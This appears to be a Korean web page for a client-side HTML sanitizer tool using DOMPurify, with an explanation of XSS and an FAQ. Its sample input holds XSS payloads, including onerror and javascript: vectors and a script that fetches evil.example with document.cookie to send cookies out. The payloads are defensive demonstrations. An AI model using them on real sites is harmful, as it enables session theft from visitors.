HTML 안전하게 정리 (XSS 제거)

정리된 결과는 원본에서 무엇이 빠졌는지 함께 보여 줘요. 미리보기는 스크립트가 실행되지 않는 격리된 틀 안에서 보여 줘요.

파일은 서버로 전송되지 않고 내 기기에서만 처리돼요

정리할 HTML

<h2 onclick="steal()">공지사항</h2>
<p style="color:#1B64DA">안녕하세요. <b>이번 주</b> 일정이에요.</p>
<img src="x" onerror="alert(document.cookie)">
<a href="javascript:alert(1)">눌러 보세요</a>
<a href="https://example.com/notice">자세히 보기</a>
<script>fetch('https://evil.example/?c='+document.cookie)</script>
<iframe src="https://evil.example"></iframe>
<ul><li>월: 회의</li><li>수: 마감</li></ul>

정리된 HTML

허용 범위

추가 정리 style 속성 지우기 이미지 지우기

링크 새 창 + rel="noopener" 링크 없애고 글자만

미리보기 (격리된 틀, 스크립트 실행 안 됨)

붙여 넣은 HTML, 그대로 쓰면 위험할 수 있어요

다른 곳에서 복사한 HTML이나 사용자가 입력한 HTML을 웹 페이지에 그대로 넣으면, 그 안에 숨은 스크립트가 방문자 브라우저에서 실행될 수 있어요. 이를 XSS(크로스 사이트 스크립팅)라고 해요. <script> 태그뿐 아니라 <img onerror="…"> 같은 이벤트 속성, javascript:로 시작하는 링크, 다른 사이트를 끼워 넣는 <iframe>, 폼을 바꿔치기하는 <form> 등 경로가 아주 많아서 정규식으로 직접 거르면 빠뜨리기 쉬워요.

DOMPurify로 정리해요

이 도구는 보안 회사 Cure53이 만든 오픈소스 DOMPurify를 써요. 브라우저의 HTML 해석기로 실제 문서 구조를 만든 뒤, 허용 목록에 있는 태그와 속성만 남기고 나머지는 지우는 방식이라 이상하게 꼬아 쓴 공격 코드도 브라우저가 해석하는 그대로 걸러요. 지운 태그와 속성은 표로 보여 줘서 무엇이 빠졌는지 확인할 수 있어요.

선택지

허용 범위: 일반 HTML(기본), 글자 서식만(굵게·기울임·링크·문단·목록·표·제목), HTML + SVG 그림 중에서 골라요. 게시판 댓글처럼 단순한 곳은 ‘글자 서식만’이 안전해요.
style 속성 지우기·이미지 지우기: 글꼴 크기·색이 뒤죽박죽인 복사본을 정리하거나, 외부 이미지 주소(추적 픽셀)를 막을 때 써요.
링크: 링크를 새 창으로 열고 rel="noopener noreferrer"를 붙이거나, 링크를 없애고 글자만 남길 수 있어요.

미리보기와 한계

미리보기는 스크립트·폼·팝업이 모두 막힌 격리 틀(sandbox iframe) 안에서 보여 줘요. 이 도구는 붙여 넣은 HTML을 한 번 정리해 주는 용도예요. 실제 서비스에서는 서버나 화면에 넣기 직전에 매번 정리해야 하고, 정리한 HTML을 다시 문자열로 고치거나 다른 틀에 끼워 넣으면 안전성이 깨질 수 있어요. HTML은 이 기기 밖으로 나가지 않아요.

참고한 자료

자주 묻는 질문

정리했더니 글 모양(색·크기)이 사라졌어요.

‘style 속성 지우기’를 끄고, 허용 범위를 ‘일반 HTML’로 두세요. 기본 설정은 안전한 style 속성을 남겨요.

HTML 태그를 모두 없애고 글자만 남기고 싶어요.

‘HTML 태그 제거’ 도구가 더 알맞아요. 이 도구는 안전한 서식은 남기는 용도예요.

이 결과를 그대로 서비스에 써도 되나요?

참고·점검용으로 쓰고, 서비스에는 DOMPurify 같은 정리 라이브러리를 코드에 넣어 출력할 때마다 정리하세요.

붙여 넣은 HTML, 그대로 쓰면 위험할 수 있어요

DOMPurify로 정리해요

선택지

미리보기와 한계

참고한 자료

자주 묻는 질문

함께 쓰면 좋은 도구